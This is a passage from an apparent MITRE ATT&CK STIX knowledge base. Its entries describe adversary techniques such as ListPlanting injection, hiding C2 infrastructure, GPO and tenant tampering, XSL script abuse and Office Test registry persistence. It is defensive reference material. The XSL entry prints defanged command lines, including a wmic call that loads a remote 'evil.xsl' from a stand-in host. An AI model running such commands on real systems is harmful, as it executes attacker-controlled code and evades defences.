                    "description": "odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021.",
                    "url": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/"
                }
            ],
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            ],
            "modified": "2026-05-12T15:12:00.723Z",
            "name": "ListPlanting",
            "description": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a <code>SysListView32</code> control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function. For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback.",
            "kill_chain_phases": [
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                    "phase_name": "stealth"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            "x_mitre_contributors": [
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            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "2.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--eb897572-8979-4242-a089-56f294f4c91d",
            "created": "2024-02-13T17:00:00.175Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1665",
                    "external_id": "T1665"
                },
                {
                    "source_name": "SocGholish-update",
                    "description": "Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"
                },
                {
                    "source_name": "TA571",
                    "description": "Axel F, Selena Larson. (2023, October 30).  TA571 Delivers IcedID Forked Loader. Retrieved February 13, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta571-delivers-icedid-forked-loader"
                },
                {
                    "source_name": "mod_rewrite",
                    "description": "Bluescreenofjeff.com. (2015, April 12). Combatting Incident Responders with Apache mod_rewrite. Retrieved February 13, 2024.",
                    "url": "https://bluescreenofjeff.com/2016-04-12-combatting-incident-responders-with-apache-mod_rewrite/"
                },
                {
                    "source_name": "Browser-updates",
                    "description": "Dusty Miller. (2023, October 17). Are You Sure Your Browser is Up to Date? The Current Landscape of Fake Browser Updates . Retrieved February 13, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates"
                },
                {
                    "source_name": "StarBlizzard",
                    "description": "Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/"
                },
                {
                    "source_name": "QR-cofense",
                    "description": "Nathaniel Raymond. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved February 13, 2024.",
                    "url": "https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/"
                },
                {
                    "source_name": "Schema-abuse",
                    "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved February 13, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
                },
                {
                    "source_name": "Orange Residential Proxies",
                    "description": "Orange Cyberdefense. (2024, March 14). Unveiling the depths of residential proxies providers. Retrieved April 11, 2024.",
                    "url": "https://www.orangecyberdefense.com/global/blog/research/residential-proxies"
                },
                {
                    "source_name": "Facad1ng",
                    "description": "Spyboy. (2023). Facad1ng. Retrieved February 13, 2024.",
                    "url": "https://github.com/spyboy-productions/Facad1ng"
                },
                {
                    "source_name": "sysdig",
                    "description": "Sysdig. (2023). Sysdig Global Cloud Threat Report. Retrieved March 1, 2024.",
                    "url": "https://sysdig.com/content/c/pf-2023-global-cloud-threat-report?x=u_WFRi&xs=524303#page=1"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2026-05-12T15:12:00.723Z",
            "name": "Hide Infrastructure",
            "description": "Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.\n\nC2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies)\n\nAdversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite)\n\nHiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Diyar Saadi Ali",
                "Eliav Livneh",
                "Hen Porcilan",
                "Matt Mullins"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "ESXi",
                "Linux",
                "macOS",
                "Network Devices",
                "Windows"
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            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d",
            "created": "2019-03-07T14:10:32.650Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1484",
                    "external_id": "T1484"
                },
                {
                    "source_name": "ADSecurity GPO Persistence 2016",
                    "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
                    "url": "https://adsecurity.org/?p=2716"
                },
                {
                    "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
                },
                {
                    "source_name": "Okta Cross-Tenant Impersonation 2023",
                    "description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.",
                    "url": "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"
                },
                {
                    "source_name": "Wald0 Guide to GPOs",
                    "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.",
                    "url": "https://wald0.com/?p=179"
                },
                {
                    "source_name": "Harmj0y Abusing GPO Permissions",
                    "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.",
                    "url": "https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2026-05-12T15:12:00.723Z",
            "name": "Domain or Tenant Policy Modification",
            "description": "Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\n\nModifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.\n\nWith sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include:  \n\n* modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)\n* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to  forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)\n* changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023)\n\nAdversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-impairment"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Obsidian Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Identity Provider"
            ],
            "x_mitre_version": "4.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1220",
                    "external_id": "T1220"
                },
                {
                    "source_name": "Reaqta MSXSL Spearphishing MAR 2018",
                    "description": "Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.",
                    "url": "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/"
                },
                {
                    "source_name": "LOLBAS Wmic",
                    "description": "LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Wmic/"
                },
                {
                    "source_name": "Microsoft msxsl.exe",
                    "description": "Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.",
                    "url": "https://web.archive.org/web/20190508171106/https://www.microsoft.com/en-us/download/details.aspx?id=21714"
                },
                {
                    "source_name": "Penetration Testing Lab MSXSL July 2017",
                    "description": "netbiosX. (2017, July 6). AppLocker Bypass \u2013 MSXSL. Retrieved July 3, 2018.",
                    "url": "https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/"
                },
                {
                    "source_name": "XSL Bypass Mar 2019",
                    "description": "Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE \u2014 A Way to Proxy Code Execution. Retrieved August 2, 2019.",
                    "url": "https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75"
                },
                {
                    "source_name": "Microsoft XSLT Script Mar 2017",
                    "description": "Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using <msxsl:script>. Retrieved July 3, 2018.",
                    "url": "https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.723Z",
            "name": "XSL Script Processing",
            "description": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* <code>msxsl.exe customers[.]xml script[.]xsl</code>\n* <code>msxsl.exe script[.]xsl script[.]xsl</code>\n* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>\n* Remote File: <code>wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d</code>",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "stealth"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Avneet Singh",
                "Casey Smith",
                "Praetorian"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "2.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f",
            "created": "2020-10-02T17:00:44.586Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1596/005",
                    "external_id": "T1596.005"
                },
                {
                    "source_name": "Shodan",
                    "description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020.",
                    "url": "https://shodan.io"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-10-24T17:49:34.076Z",
            "name": "Scan Databases",
            "description": "Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "created": "2020-02-26T17:46:13.128Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/001",
                    "external_id": "T1564.001"
                },
                {
                    "source_name": "WireLurker",
                    "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
                    "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
                },
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                },
                {
                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2026-05-12T15:12:00.723Z",
            "name": "Hidden Files and Directories",
            "description": "Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\n\nAdditionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \u201cspace\u201d character.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1",
            "created": "2020-06-09T15:33:13.563Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1578/001",
                    "external_id": "T1578.001"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
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            "modified": "2026-05-12T15:12:00.723Z",
            "name": "Create Snapshot",
            "description": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)",
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            "type": "attack-pattern",
            "id": "attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867",
            "created": "2020-10-02T16:32:33.126Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
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                    "url": "https://attack.mitre.org/techniques/T1591/001",
                    "external_id": "T1591.001"
                },
                {
                    "source_name": "ThreatPost Broadvoice Leak",
                    "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
                    "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
                },
                {
                    "source_name": "SEC EDGAR Search",
                    "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved November 17, 2024.",
                    "url": "https://www.sec.gov/edgar/search/"
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            "modified": "2025-10-24T17:49:34.503Z",
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            "description": "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
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                {
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                    "phase_name": "reconnaissance"
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            "type": "attack-pattern",
            "id": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a",
            "created": "2019-11-07T19:44:04.475Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137/002",
                    "external_id": "T1137.002"
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                {
                    "source_name": "Palo Alto Office Test Sofacy",
                    "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/"
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                {
                    "source_name": "Hexacorn Office Test",
                    "description": "Hexacorn. (2014, April 16). Beyond good ol\u2019 Run key, Part 10. Retrieved July 3, 2017.",
                    "url": "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/"
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            "modified": "2025-10-24T17:49:34.588Z",
            "name": "Office Test",
            "description": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature, such as:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.",
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            "type": "attack-pattern",
            "id": "attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf",
            "created": "2020-10-01T01:30:00.877Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1587",
                    "external_id": "T1587"
                },
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                },
                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
                    "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "source_name": "Talos Promethium June 2020",
                    "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.",
                    "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html"
                },
                {
                    "source_name": "Bitdefender StrongPity June 2020",
                    "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf"
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            "modified": "2025-10-24T17:49:34.675Z",
            "name": "Develop Capabilities",
            "description": "Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1173",
                    "external_id": "T1173"
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                {
                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017",
                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/"
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                {
                    "source_name": "Microsoft ADV170021 Dec 2017",
                    "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
                    "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021"
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                    "source_name": "Microsoft DDE Advisory Nov 2017",
